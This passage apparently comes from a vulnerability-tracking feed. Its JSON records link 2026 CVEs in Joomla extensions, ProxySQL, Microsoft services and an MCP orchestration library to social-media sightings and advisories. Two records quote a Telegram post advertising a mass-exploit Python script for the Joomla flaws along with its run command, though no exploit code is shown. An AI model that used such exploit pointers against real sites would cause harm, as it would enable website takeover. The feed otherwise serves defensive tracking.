"", "creation_timestamp": "2026-06-19T12:45:32.809887Z"}, {"uuid": "4a448ac9-88d0-4816-bf9a-9781eb1c4034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Channel/2139", "content": "CVE-2026-48907 \u2014 Joomla JCE Extension Unauthenticated RCE", "creation_timestamp": "2026-08-10T05:00:04.707347Z"}, {"uuid": "a6ac93fe-3fbe-48c8-82e9-ad41df283823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Channel/2136", "content": "MASS Exploit Joomla [python3] \ud83e\udd8a\n\nFor:\nCVE-2026-48908 [SP Page Builder]\nCVE-2026-48907 [JCE]\n\nRun:\npython Rce-joomla.py listjoomla.txt", "creation_timestamp": "2026-08-10T05:00:05.023664Z"}, {"uuid": "787d1b7d-ab89-4547-bb48-20ce921eddb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Channel/2136", "content": "MASS Exploit Joomla [python3] \ud83e\udd8a\n\nFor:\nCVE-2026-48908 [SP Page Builder]\nCVE-2026-48907 [JCE]\n\nRun:\npython Rce-joomla.py listjoomla.txt", "creation_timestamp": "2026-08-10T05:00:04.920066Z"}, {"uuid": "9ef753b9-2c3d-45c6-b159-32087fe775d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48615", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:17.282026Z"}, {"uuid": "bb9fe8ca-6316-4576-9367-469fcc94756a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48617", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:17.431016Z"}, {"uuid": "56cfecf3-3e3d-4b0c-a1ed-47750566889c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48618", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:17.569948Z"}, {"uuid": "0df6a9c0-4428-4894-a093-85774030e626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48619", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:17.713413Z"}, {"uuid": "3faef733-320e-4f18-8146-40debe417bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48928", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:17.843123Z"}, {"uuid": "b4962dcf-c841-4259-b422-cc05df55e43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48930", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:17.996857Z"}, {"uuid": "77f53a38-cb47-4c15-8096-cf8828db4ffa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48931", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:18.158208Z"}, {"uuid": "8c9fd8b6-47b2-4dc5-9ec1-4d5c7bc261f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48933", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:18.313785Z"}, {"uuid": "b7b1b882-e0b2-439a-9c93-991f052a331c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48934", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:18.448016Z"}, {"uuid": "adb417dc-81eb-44b4-8078-6ddb3f468cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48935", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:18.597490Z"}, {"uuid": "8b5ff07f-6bc9-41db-8989-fe52d161e294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48936", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:18.731785Z"}, {"uuid": "da0439b1-3ece-4c46-9e64-a5e9dbf882ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48937", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2fdzi32c", "content": "\ud83d\udd17 CVE : CVE-2026-21636, CVE-2026-48615, CVE-2026-48617, CVE-2026-48618, CVE-2026-48619, CVE-2026-48928, CVE-2026-48930, CVE-2026-48931, CVE-2026-48933, CVE-2026-48934, CVE-2026-48935, CVE-2026-48936, CVE-2026-48937", "creation_timestamp": "2026-06-19T13:45:18.886059Z"}, {"uuid": "79f4e9af-11b9-4be1-ab51-61cf0b7d56bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48768", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3monjhbwh4p2c", "content": "CVE-2026-48768 - Critical XSS in Typebot. Unauthenticated file upload to arbitrary S3 paths. Malicious HTML/SVG/JS can be injected into other tenants' results. CVSS 9.3. No patch available. Disable file input blocks immediately. #CVE #Typeb...\n\nhttps://www.valtersit.com/cve/CVE-2026-48768/", "creation_timestamp": "2026-06-19T14:10:24.329546Z"}, {"uuid": "5405f18e-74af-4cbc-9a41-3175d0974776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48814", "type": "seen", "source": "https://gist.github.com/alon710/95012eaaac31573d3f20cff3cfbc3e84", "content": "# CVE-2026-48814: CVE-2026-48814: Missing Authentication for Critical Orchestration Tools in Network-AI McpSseServer\n\n> **CVSS Score:** 9.1\n> **Published:** 2026-06-19\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48814\n\n## Summary\nCVE-2026-48814 is a critical vulnerability classified as Missing Authentication for Critical Function (CWE-306) in Network-AI, a TypeScript/Node.js multi-agent orchestrator. In versions 5.7.1 and earlier, the Model Context Protocol (MCP) Server-Sent Events (SSE) server allows unauthenticated, cross-origin invocation of sensitive orchestration tools. This vulnerability stems from an incomplete fix for CVE-2026-46701, where library-level server class initializations still default to an insecure empty-secret configuration, allowing remote attackers or Server-Side Request Forgery (SSRF) agents to execute administrative tools.\n\n## TL;DR\nThe Network-AI library (versions <= 5.7.1) features an insecure default configuration in its MCP Server-Sent Events server component. If initialized without a secret, it permits unauthenticated remote callers to invoke any of its 22 critical orchestration tools, potentially leading to unauthorized data exposure, state mutation, and arbitrary agent spawning.\n\n## Technical Details\n\n- **CWE ID**: CWE-306 (Missing Authentication for Critical Function)\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 9.1 (Critical)\n- **EPSS Score**: 0.00297 (~0.30% probability)\n- **Impact**: High Confidentiality, High Integrity, No Availability\n- **Exploit Status**: None (No public weaponized exploit available)\n- **KEV Status**: Not listed in CISA KEV Catalog\n\n## Affected Systems\n\n- Network-AI library environments implementing custom McpSseServer integrations\n- Node.js multi-agent orchestration backends running network-ai versions <= 5.7.1\n- **network-ai**: <= 5.7.1 (Fixed in: `5.7.2`)\n\n## Mitigation\n\n- Upgrade the network-ai dependency to version 5.7.2 or later.\n- Instantiate the McpSseServer class with a non-empty, cryptographically secure secret.\n- Restrict binding configurations to loopback addresses (127.0.0.1, localhost) instead of binding to 0.0.0.0.\n- Utilize local standard input/output (McpStdioTransport) transport channels where network binding is not strictly required.\n\n**Remediation Steps:**\n1. Run 'npm install network-ai@5.7.2' to update the library to the patched version.\n2. Audit custom integration files importing 'McpSseServer' from 'network-ai' and ensure a strong secret is passed during initialization.\n3. Ensure the server initialization code does not fail open when environment variables are missing.\n\n## References\n\n- [GitHub Security Advisory Record](https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-r78r-rwrf-rjwp)\n- [GitHub Release Log v5.7.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.7.2)\n- [GitHub Advisory Database Mapping](https://github.com/advisories/GHSA-j3vx-cx2r-pvg8)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48814) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-19T14:11:51.000000Z"}, {"uuid": "f8582823-fb68-47c6-b888-6902ce1090ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48814", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-r78r-rwrf-rjwp", "content": "", "creation_timestamp": "2026-06-19T13:34:24.000000Z"}, {"uuid": "a2d7b259-b988-432b-ad9c-ab345ab1c576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48895", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3monnubysps2k", "content": "CVE-2026-48895: Apache APISIX: Cas-auth Host header influence on CAS service URL", "creation_timestamp": "2026-06-19T15:29:14.663025Z"}, {"uuid": "be2119a7-8a9f-469d-9801-bb5f7451eb53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3monw2r2oet2r", "content": "CVE-2026-48907 and LiteSpeed cPanel Plugin Flaws Come Under Active Attack", "creation_timestamp": "2026-06-19T17:56:01.597794Z"}, {"uuid": "61b201b7-1959-4090-9ab7-efe9c4bd932b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48773", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mood3toclx2h", "content": "CVE-2026-48773 - ProxySQL pre-auth heap overflow in MySQL and PostgreSQL first-packet handling\nCVE ID : CVE-2026-48773\n \n Published : June 19, 2026, 7:27 p.m. | 2\u00a0hours, 16\u00a0minutes ago\n \n Description : ProxySQL is a proxy for MySQL and its forks, as well as PostgreSQL. Version...", "creation_timestamp": "2026-06-19T21:49:16.561601Z"}, {"uuid": "542cd58d-f8a8-465d-99f0-93cf1a4577d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48787", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moodetdjam2g", "content": "CVE-2026-48787 - gin-vue-admin vulnerable to RCE\nCVE ID : CVE-2026-48787\n \n Published : June 19, 2026, 7:46 p.m. | 1\u00a0hour, 56\u00a0minutes ago\n \n Description : gin-vue-admin is an AI-assisted basic development platform. In version 2.9.1, an authenticated attacker with access to the...", "creation_timestamp": "2026-06-19T21:54:18.158597Z"}, {"uuid": "c87ec097-b1f1-4ce1-8bc7-0173e58f768e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48774", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moodtrcp2c2g", "content": "CVE-2026-48774 - ProxySQL MCP run_sql_readonly executes side-effecting MySQL multi-statements despite read-only contract\nCVE ID : CVE-2026-48774\n \n Published : June 19, 2026, 7:34 p.m. | 2\u00a0hours, 8\u00a0minutes ago\n \n Description : ProxySQL is a proxy for MySQL and its forks, as we...", "creation_timestamp": "2026-06-19T22:02:40.081216Z"}, {"uuid": "ce38b3e1-e943-44bb-bd54-3eadcfd35262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48089", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moodxmm5ga2a", "content": "CVE-2026-48089 - DevGuard has improper authorization on public assets\nCVE ID : CVE-2026-48089\n \n Published : June 19, 2026, 7:38 p.m. | 2\u00a0hours, 5\u00a0minutes ago\n \n Description : DevGuard provides vulnerability management for the full software supply chain. Prior to 1.4.2, on a D...", "creation_timestamp": "2026-06-19T22:04:48.756501Z"}, {"uuid": "0eefe9a2-b0d1-4866-b66e-667e0c1b729b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48129", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mooeaarsuo2h", "content": "CVE-2026-48129 - Kestra task inputFiles accepts traversal filenames for worker file writes\nCVE ID : CVE-2026-48129\n \n Published : June 19, 2026, 8:16 p.m. | 1\u00a0hour, 26\u00a0minutes ago\n \n Description : Kestra is an open-source, event-driven orchestration platform. Prior to versions...", "creation_timestamp": "2026-06-19T22:09:38.310882Z"}, {"uuid": "1a13abc3-0c31-43fa-9409-f047262709af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48772", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mooef5dho623", "content": "CVE-2026-48772 - ProxySQL: PROXY-Protocol-v1 UNKNOWN parses spoofed source IP, bypassing mysql_query_rules.client_addr ACL\nCVE ID : CVE-2026-48772\n \n Published : June 19, 2026, 7:28 p.m. | 2\u00a0hours, 14\u00a0minutes ago\n \n Description : ProxySQL is a proxy for MySQL and its forks, as...", "creation_timestamp": "2026-06-19T22:12:24.695639Z"}, {"uuid": "a572cbca-2454-4f6b-99de-990b106ee2fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48582", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116779071246302173", "content": "It is possible to see elevated activities targeting Microsoft Exchange Online (CVE-2026-48582) https://vuldb.com/vuln/372317/cti", "creation_timestamp": "2026-06-19T22:13:36.011609Z"}, {"uuid": "851c6a2b-24ba-4181-8db7-e5274f37f0dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48794", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mooekjem2o2z", "content": "CVE-2026-48794 - Authelia has an Edge Case Access Control Rule Mismatch\nCVE ID : CVE-2026-48794\n \n Published : June 19, 2026, 8:23 p.m. | 1\u00a0hour, 20\u00a0minutes ago\n \n Description : Authelia is an open-source authentication and authorization server providing two-factor authenticat...", "creation_timestamp": "2026-06-19T22:15:22.766809Z"}, {"uuid": "cdb90164-9769-4d1c-a690-c46099143bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48584", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moofhtv2b42q", "content": "CVE-2026-48584 - Microsoft Azure Synapse Elevation of Privilege Vulnerability\nCVE ID : CVE-2026-48584\n \n Published : June 19, 2026, 8:27 p.m. | 1\u00a0hour, 15\u00a0minutes ago\n \n Description : None\n \n Severity: 9.9 | CRITICAL\n \n Visit the link for more details, such as CVSS details, af...", "creation_timestamp": "2026-06-19T22:31:46.956965Z"}, {"uuid": "b18177a0-53df-42bd-9d54-b48358ac4f4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48582", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moofqsioi72o", "content": "CVE-2026-48582 - Microsoft Exchange Online Elevation of Privilege Vulnerability\nCVE ID : CVE-2026-48582\n \n Published : June 19, 2026, 8:29 p.m. | 1\u00a0hour, 13\u00a0minutes ago\n \n Description : None\n \n Severity: 9.6 | CRITICAL\n \n Visit the link for more details, such as CVSS details, ...", "creation_timestamp": "2026-06-19T22:36:47.568545Z"}, {"uuid": "b5a2bdbe-1901-407f-860d-62855ee27588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mooobp7it32m", "content": "Any website running the Joomla Content Editor extension can be taken over right now. CISA added CVE-2026-48907, a maximum-severity flaw scoring 10.0, to its known-exploited list. Unauthenticated attackers create editor profiles, then upload and run PHP code. Public exploit. Fix: JCE 2.9.99.5.", "creation_timestamp": "2026-06-20T01:09:24.591270Z"}, {"uuid": "16b94a2a-11fb-4013-878f-925e17694dae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48772", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116780553070568538", "content": "CVE-2026-48772 (CRITICAL): ProxySQL 2.0.0 \u2013 3.0.8 lets attackers spoof source IPs via PROXY protocol v1, bypassing routing & ACLs. Upgrade to 3.0.9 or later. Restrict frontend port access. Details: https://radar.offseq.com/threat/cve-2026-48772-cwe-348-use-of-less-trusted-source--40b83fbf2f9ef184 #OffSeq #ProxySQL #CVE202648772 #Security", "creation_timestamp": "2026-06-20T04:30:27.479838Z"}, {"uuid": "b43eed77-4b3f-4037-8f56-de531641daa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48772", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moozj7zulg2u", "content": "ProxySQL 2.0.0 \u2013 3.0.8 (CVE-2026-48772, CRITICAL) lets attackers spoof source IPs, bypassing DB routing & ACLs. Upgrade to 3.0.9+ and restrict port access. https://radar.offseq.com/threat/cve-2026-48772-cwe-348-use-of-less-trusted-source--40b83fbf2f9ef184 #OffSeq #ProxySQL #Security", "creation_timestamp": "2026-06-20T04:30:28.590020Z"}, {"uuid": "3de2bf1f-3539-46fe-8ce4-f3d65098398d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48773", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116780906773492544", "content": "ProxySQL (2.0.18 \u2013 3.0.8) hit by CRITICAL CVE-2026-48773: pre-auth heap memory corruption (CWE-787) allows remote unauthenticated attackers to trigger out-of-bounds write. Upgrade to 3.0.9 ASAP. https://radar.offseq.com/threat/cve-2026-48773-cwe-787-out-of-bounds-write-in-syso-7cef27326cf25a33 #OffSeq #ProxySQL #CVE202648773 #infosec", "creation_timestamp": "2026-06-20T06:00:24.737268Z"}, {"uuid": "00faf4db-07f2-4656-ae18-8a98986409a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48773", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mop6k2y7ws2l", "content": "CRITICAL: ProxySQL v2.0.18 \u2013 3.0.8 vulnerable to heap memory corruption (CVE-2026-48773). Remote unauthenticated attackers may execute code or cause DoS. Upgrade to 3.0.9 now. https://radar.offseq.com/threat/cve-2026-48773-cwe-787-out-of-bounds-write-in-syso-7cef27326cf25a33 #OffSeq #ProxySQL #CV...", "creation_timestamp": "2026-06-20T06:00:25.408944Z"}, {"uuid": "193561c6-7769-4222-8d0c-77be56086404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48908", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mopxorztly2f", "content": "SP Page Builder for Joomla hit by CRITICAL vuln (CVE-2026-48908, CVSS 10) \u2014 unauthenticated PHP uploads possible. Restrict/disable extension & monitor your site. No patch yet. https://radar.offseq.com/threat/cve-2026-48908-cwe-284-improper-access-control-in--a8937f9d4a0573e0 #OffSeq #Joomla #Vuln...", "creation_timestamp": "2026-06-20T13:30:28.248311Z"}, {"uuid": "7ee39bd0-2235-4d22-9d2b-074fe981fcbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48908", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116782676365105563", "content": "CRITICAL vuln (CVSS 10) in Joomla SP Page Builder (1.0.0 \u2013 6.6.1): CVE-2026-48908 enables unauthenticated PHP uploads, risking full compromise. No patch yet \u2014 restrict/disable extension, monitor activity. Details: https://radar.offseq.com/threat/cve-2026-48908-cwe-284-improper-access-control-in--a8937f9d4a0573e0 #OffSeq #Joomla #CVE #AppSec", "creation_timestamp": "2026-06-20T13:30:35.322922Z"}, {"uuid": "d7da2b2f-8e7b-461b-b038-bde411e4bd3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mopy7rua3k2d", "content": "CVE-2026-48908 - Joomla Extension - joomshaper.com - Remote Code Execution in SP Pagebuilder extension for Joomla\nCVE ID : CVE-2026-48908\n \n Published : June 20, 2026, 11:57 a.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : A vulnerability in the SP Page Builder for Joomla allows...", "creation_timestamp": "2026-06-20T13:39:57.293723Z"}, {"uuid": "ead1cf0c-38c2-4eff-a4e4-60bc0a9e547a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mopyiqfnx42t", "content": "CVE-2026-48939 - Joomla Extension - icagenda.com - Remote Code Execution in iCaganda extension for Joomla\nCVE ID : CVE-2026-48939\n \n Published : June 20, 2026, 11:56 a.m. | 1\u00a0hour, 13\u00a0minutes ago\n \n Description : A vulnerability in the iCagenda extension for Joomla allows the ...", "creation_timestamp": "2026-06-20T13:44:57.744419Z"}, {"uuid": "661b8d17-cdc3-46c3-a12c-d35f47af3463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mopyrpawac2a", "content": "CVE-2026-48909 - Joomla Extension - joomshaper.com - PHP Object injection in SP LMS extension for Joomla\nCVE ID : CVE-2026-48909\n \n Published : June 20, 2026, 11:56 a.m. | 1\u00a0hour, 13\u00a0minutes ago\n \n Description : SP LMS (com_splms) < 4.1.4 by JoomShaper deserializes user-con...", "creation_timestamp": "2026-06-20T13:49:58.589839Z"}, {"uuid": "a0e4551f-28e7-4878-b385-73dc89c8ec82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48773", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moqe2henii2t", "content": "CVE-2026-48773 - Critical RCE in Proxysql. Pre-auth heap memory corruption via oversized packet. CVSS 9.8. Patch to v3.0.9 immediately. #CVE #infosec #Proxysql\n\nhttps://www.valtersit.com/cve/CVE-2026-48773/", "creation_timestamp": "2026-06-20T17:11:43.398998Z"}, {"uuid": "73861e45-81c0-41af-8014-70d80e48efb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moqpiwtuj225", "content": 